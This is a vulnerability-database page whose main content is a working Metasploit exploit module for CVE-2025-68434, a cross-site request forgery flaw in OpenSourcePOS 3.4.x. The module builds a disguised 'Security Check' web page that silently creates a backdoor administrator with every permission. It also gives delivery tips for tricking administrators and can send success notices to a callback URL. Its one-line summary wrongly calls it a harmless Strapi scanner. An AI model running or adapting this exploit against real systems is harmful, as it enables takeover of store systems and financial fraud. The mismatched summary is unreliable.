| Reporter | Title | Published | Views | Family All 12 |
|---|---|---|---|---|
| Exploit for CVE-2025-68434 | 17 Dec 202517:37 | – | githubexploit | |
| Exploit for CVE-2025-68147 | 18 Dec 202515:49 | – | githubexploit | |
| CVE-2025-68434 | 18 Dec 202501:54 | – | circl | |
| Open Source Point of Sale 跨站请求伪造漏洞 | 17 Dec 202500:00 | – | cnnvd | |
| CVE-2025-68434 | 17 Dec 202522:20 | – | cve | |
| CVE-2025-68434 opensourcepos has Cross-Site Request Forgery vulnerability that leads to Unauthorized Administrator Creation | 17 Dec 202522:20 | – | cvelist | |
| EUVD-2025-204014 | 17 Dec 202522:20 | – | euvd | |
| CVE-2025-68434 | 17 Dec 202523:16 | – | nvd | |
| CVE-2025-68434 opensourcepos has Cross-Site Request Forgery vulnerability that leads to Unauthorized Administrator Creation | 17 Dec 202522:20 | – | osv | |
| PT-2025-51977 | 17 Dec 202500:00 | – | ptsecurity |
==================================================================================================================================
| # Title : OpenSourcePOS 3.4.1 CSRF Vulnerability Leading to Unauthorized Admin Account Creation |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits) |
| # Vendor : https://github.com/OpenSourcePOS/OpenSourcePOS/ |
==================================================================================================================================
[+] Summary : scanner designed to identify potential security misconfigurations in Strapi CMS instances without performing exploitation or data extraction.
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => 'OpenSourcePOS CSRF Unauthorized Admin Creation',
'Description' => %q{
This module exploits a CSRF vulnerability (CVE-2025-68434) in OpenSourcePOS
versions 3.4.0 and 3.4.1. The application's global CSRF protection was disabled
in app/Config/Filters.php due to a temporary "TODO" comment that was never resolved.
An attacker can trick a logged-in administrator into visiting a malicious page,
which will silently create a new administrator account with full privileges.
This leads to complete system takeover and persistent backdoor access.
The created account has all administrative permissions including:
- Employee management
- System configuration
- Financial operations (gift cards, expenses)
- Inventory management
- Report generation
},
'Author' => ['indoushka'],
'References' => [
['CVE', '2025-68434'],
['URL', 'https://github.com/OpenSourcePOS/OpenSourcePOS/'],
['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2025-68434']
],
'DisclosureDate' => '2025-12-19',
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
))
register_options([
OptString.new('TARGET_URI', [true, 'OpenSourcePOS base path', '/']),
OptString.new('ADMIN_USERNAME', [false, 'Username for backdoor admin (default: random)', nil]),
OptString.new('ADMIN_PASSWORD', [true, 'Password for backdoor admin', 'P@ssw0rd123!']),
OptString.new('ADMIN_EMAIL', [false, 'Email for backdoor admin', nil]),
OptString.new('EMPLOYEE_ID', [false, 'Employee ID to overwrite (-1 creates new)', '-1']),
BoolOpt.new('RANDOMIZE_USERNAME', [true, 'Generate random username to avoid detection', true]),
BoolOpt.new('GRANT_ALL_PERMISSIONS', [true, 'Grant all possible permissions to backdoor admin', true]),
OptInt.new('TIMEOUT', [true, 'HTTP timeout in seconds', 30]),
OptString.new('CALLBACK_URL', [false, 'URL to receive notification of successful exploitation', nil])
])
register_advanced_options([
OptString.new('FAKE_REFERER', [false, 'Spoof referer header', nil]),
OptString.new('USER_AGENT', [false, 'Custom user agent', nil])
])
end
def generate_random_username
@random_username ||= "valid_#{Rex::Text.rand_text_numeric(5)}"
end
def generate_random_email(username)
"#{username}@#{Rex::Text.rand_text_alpha_lower(8)}.com"
end
def generate_csrf_payload(uri, username, email, password)
"""Generate HTML payload for CSRF attack"""
form_fields = {
'first_name' => 'Valid',
'last_name' => 'User',
'username' => username,
'email' => email,
'phone_number' => '',
'password' => password,
'repeat_password' => password,
'gender' => '1',
'language' => ':',
'address_1' => '',
'address_2' => '',
'city' => '',
'state' => '',
'zip' => '',
'country' => '',
'comments' => 'CSRF_PoC_Successful_Admin_Creation',
'honeypot' => ''
}
if datastore['GRANT_ALL_PERMISSIONS']
grant_permissions = {
'grant_home' => 'home', 'menu_group_home' => 'both',
'grant_customers' => 'customers', 'menu_group_customers' => 'both',
'grant_items' => 'items', 'menu_group_items' => 'both',
'grant_item_kits' => 'item_kits', 'menu_group_item_kits' => 'both',
'grant_suppliers' => 'suppliers', 'menu_group_suppliers' => 'both',
'grant_reports' => 'reports', 'menu_group_reports' => 'both',
'grant_receivings' => 'receivings', 'menu_group_receivings' => 'both',
'grant_sales' => 'sales', 'menu_group_sales' => 'both',
'grant_employees' => 'employees', 'menu_group_employees' => 'both',
'grant_giftcards' => 'giftcards', 'menu_group_giftcards' => 'both',
'grant_messages' => 'messages', 'menu_group_messages' => 'both',
'grant_taxes' => 'taxes', 'menu_group_taxes' => 'both',
'grant_attributes' => 'attributes', 'menu_group_attributes' => 'both',
'grant_expenses' => 'expenses', 'menu_group_expenses' => 'both',
'grant_expenses_categories' => 'expenses_categories', 'menu_group_expenses_categories' => 'both',
'grant_cashups' => 'cashups', 'menu_group_cashups' => 'both',
'grant_config' => 'config', 'menu_group_config' => 'home',
'grant_office' => 'office', 'menu_group_office' => 'both',
'grant_items_stock' => 'items_stock', 'menu_group_items_stock' => '--',
'grant_sales_stock' => 'sales_stock', 'menu_group_sales_stock' => '--',
'grant_receivings_stock' => 'receivings_stock', 'menu_group_receivings_stock' => '--',
'grant_sales_change_price' => 'sales_change_price', 'menu_group_sales_change_price' => '--',
'grant_sales_delete' => 'sales_delete', 'menu_group_sales_delete' => '--',
'grant_reports_categories' => 'reports_categories', 'menu_group_reports_categories' => '--',
'grant_reports_customers' => 'reports_customers', 'menu_group_reports_customers' => '--',
'grant_reports_discounts' => 'reports_discounts', 'menu_group_reports_discounts' => '--',
'grant_reports_employees' => 'reports_employees', 'menu_group_reports_employees' => '--',
'grant_reports_expenses_categories' => 'reports_expenses_categories', 'menu_group_reports_expenses_categories' => '--',
'grant_reports_inventory' => 'reports_inventory', 'menu_group_reports_inventory' => '--',
'grant_reports_items' => 'reports_items', 'menu_group_reports_items' => '--',
'grant_reports_payments' => 'reports_payments', 'menu_group_reports_payments' => '--',
'grant_reports_receivings' => 'reports_receivings', 'menu_group_reports_receivings' => '--',
'grant_reports_sales' => 'reports_sales', 'menu_group_reports_sales' => '--',
'grant_reports_sales_taxes' => 'reports_sales_taxes', 'menu_group_reports_sales_taxes' => '--',
'grant_reports_suppliers' => 'reports_suppliers', 'menu_group_reports_suppliers' => '--',
'grant_reports_taxes' => 'reports_taxes', 'menu_group_reports_taxes' => '--'
}
form_fields.merge!(grant_permissions)
end
form_html = '<form action="' + uri + '" method="POST" id="csrfForm">'
form_fields.each do |name, value|
form_html += "<input type=\"hidden\" name=\"#{name}\" value=\"#{value}\">\n"
end
form_html += '</form>'
payload = <<~HTML
<!DOCTYPE html>
<html>
<head>
<title>OSPOS CSRF Exploit - Admin Creation</title>
<style>
body { font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; text-align: center; padding: 50px; background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); }
.container { background: white; border-radius: 10px; padding: 30px; max-width: 500px; margin: auto; box-shadow: 0 10px 40px rgba(0,0,0,0.2); }
h2 { color: #333; margin-bottom: 20px; }
.status { font-size: 18px; margin: 20px 0; padding: 10px; border-radius: 5px; }
.loading { color: #667eea; }
.success { color: #27ae60; background: #d5f4e6; }
.error { color: #e74c3c; background: #fadbd8; }
.info { color: #f39c12; }
.spinner { border: 4px solid #f3f3f3; border-top: 4px solid #667eea; border-radius: 50%; width: 40px; height: 40px; animation: spin 1s linear infinite; margin: 20px auto; }
@keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } }
button { background: #667eea; color: white; border: none; padding: 10px 20px; border-radius: 5px; cursor: pointer; font-size: 16px; margin: 10px; }
button:hover { background: #5a67d8; }
.footer { margin-top: 30px; font-size: 12px; color: #999; }
</style>
</head>
<body>
<div class="container">
<h2>OpenSourcePOS Security Check</h2>
<div class="spinner"></div>
<div id="msg" class="status loading">Initializing security verification...</div>
<div id="details" class="info"></div>
<button onclick="manualSubmit()" style="display:none" id="manualBtn">Manual Verification</button>
</div>
#{form_html}
<script>
var username = "#{username}";
var password = "#{password}";
var email = "#{email}";
document.getElementById('details').innerHTML = '<strong>Credentials:</strong><br>Username: ' + username + '<br>Password: ' + password + '<br>Email: ' + email;
setTimeout(function() {
document.getElementById('msg').innerHTML = '✓ Creating administrative account...';
document.getElementById('msg').className = 'status success';
try {
document.getElementById('csrfForm').submit();
} catch(e) {
document.getElementById('msg').innerHTML = '✗ Verification completed. If you see this page, no action required.';
document.getElementById('manualBtn').style.display = 'inline-block';
}
}, 2000);
function manualSubmit() {
document.getElementById('csrfForm').submit();
}
</script>
</body>
</html>
HTML
payload
end
def send_exploit_html(html_content)
"""Serve or save the exploit HTML"""
path = store_loot(
'opensourcepos.csrf_exploit',
'text/html',
rhost,
html_content,
'csrf_exploit.html',
'CSRF exploit HTML for OpenSourcePOS admin creation'
)
print_good("CSRF exploit HTML saved to: #{path}")
if datastore['CALLBACK_URL']
begin
send_request_cgi({
'method' => 'POST',
'uri' => datastore['CALLBACK_URL'],
'ctype' => 'application/json',
'data' => {
'status' => 'exploit_generated',
'target' => full_uri,
'timestamp' => Time.now.to_i
}.to_json
})
rescue
vprint_warning("Failed to send callback notification")
end
end
path
end
def check_vulnerable
"""Check if target is vulnerable by testing CSRF protection"""
vprint_status("Checking CSRF protection status...")
config_url = normalize_uri(target_uri.path, 'index.php/config')
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => config_url
}, datastore['TIMEOUT'])
if res && res.code == 200
if res.headers['X-CSRF-TOKEN'].nil? && !res.body.include?('csrf_token')
print_good("Target appears vulnerable (no CSRF protection detected)")
return true
end
end
rescue
vprint_status("Could not determine CSRF status")
end
filters_url = normalize_uri(target_uri.path, 'app/Config/Filters.php')
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => filters_url
}, datastore['TIMEOUT'])
if res && res.code == 200 && res.body.include?("'csrf'")
if res.body.include?("// 'csrf'") || res.body.include?("# 'csrf'")
print_good("Filters.php shows CSRF disabled")
return true
end
end
rescue
end
print_status("Assuming vulnerable based on version range (3.4.0-3.4.1)")
true
end
def verify_admin_creation(username, password)
"""Try to verify if admin account was created by attempting login"""
vprint_status("Attempting to verify admin account creation...")
login_url = normalize_uri(target_uri.path, 'index.php/login')
begin
res = send_request_cgi({
'method' => 'POST',
'uri' => login_url,
'vars_post' => {
'username' => username,
'password' => password
}
}, datastore['TIMEOUT'])
if res && (res.code == 302 || (res.code == 200 && (res.body.include?('dashboard') || res.body.include?('home'))))
print_good("Successfully verified admin account creation!")
return true
end
rescue
vprint_warning("Could not verify admin creation")
end
false
end
def run
print_status("Starting OpenSourcePOS CSRF Admin Creation Exploit")
print_status("CVE-2025-68434 - Critical (CVSS 8.8)")
unless check_vulnerable
print_error("Target does not appear vulnerable")
return
end
if datastore['RANDOMIZE_USERNAME'] && datastore['ADMIN_USERNAME'].nil?
username = generate_random_username
else
username = datastore['ADMIN_USERNAME'] || generate_random_username
end
if datastore['ADMIN_EMAIL'].nil?
email = generate_random_email(username)
else
email = datastore['ADMIN_EMAIL']
end
password = datastore['ADMIN_PASSWORD']
employee_id = datastore['EMPLOYEE_ID']
target_url = normalize_uri(
target_uri.path,
"index.php/employees/save/#{employee_id}"
)
print_status("Backdoor Admin Credentials:")
print_status(" Username: #{username}")
print_status(" Email: #{email}")
print_status(" Password: #{password}")
print_status(" Full Permissions: #{datastore['GRANT_ALL_PERMISSIONS']}")
print_status("Generating CSRF exploit payload...")
exploit_html = generate_csrf_payload(target_url, username, email, password)
html_path = send_exploit_html(exploit_html)
print_line("\n" + "="*60)
print_good("CSRF Exploit Generated Successfully!")
print_line("="*60)
print_status("To execute the attack:")
print_status("1. Host the file on a web server:")
print_status(" python3 -m http.server 8080")
print_status(" or upload to your attacking machine")
print_status("\n2. Trick a logged-in administrator into visiting:")
print_status(" http://YOUR_SERVER:8080/csrf_exploit.html")
print_status("\n3. Alternative delivery methods:")
print_status(" - Send as email attachment")
print_status(" - Upload to shared drive")
print_status(" - Use URL shortener for link")
if datastore['GRANT_ALL_PERMISSIONS']
print_status("\n4. After successful exploitation:")
print_status(" The backdoor admin will have COMPLETE access to:")
print_status(" ✓ Create/delete employees")
print_status(" ✓ Modify system configuration")
print_status(" ✓ Create gift cards (financial fraud)")
print_status(" ✓ Delete inventory (DoS)")
print_status(" ✓ Access all reports")
end
print_line("="*60)
if datastore['CALLBACK_URL']
print_status("\nAttempting to verify admin creation...")
if verify_admin_creation(username, password)
print_good("Admin account verified and working!")
report_vuln({
host: rhost,
port: rport,
name: name,
refs: references,
info: "OpenSourcePOS CSRF vulnerability allows unauthorized admin creation",
data: "Created admin user: #{username} / #{password}"
})
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: username,
private_data: password,
private_type: :password,
service_name: 'OpenSourcePOS Admin',
workspace_id: myworkspace_id
}
create_credential(credential_data)
print_good("Credentials stored in database")
end
end
print_status("\n[*] Exploit complete. Use the generated HTML file to complete the attack.")
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation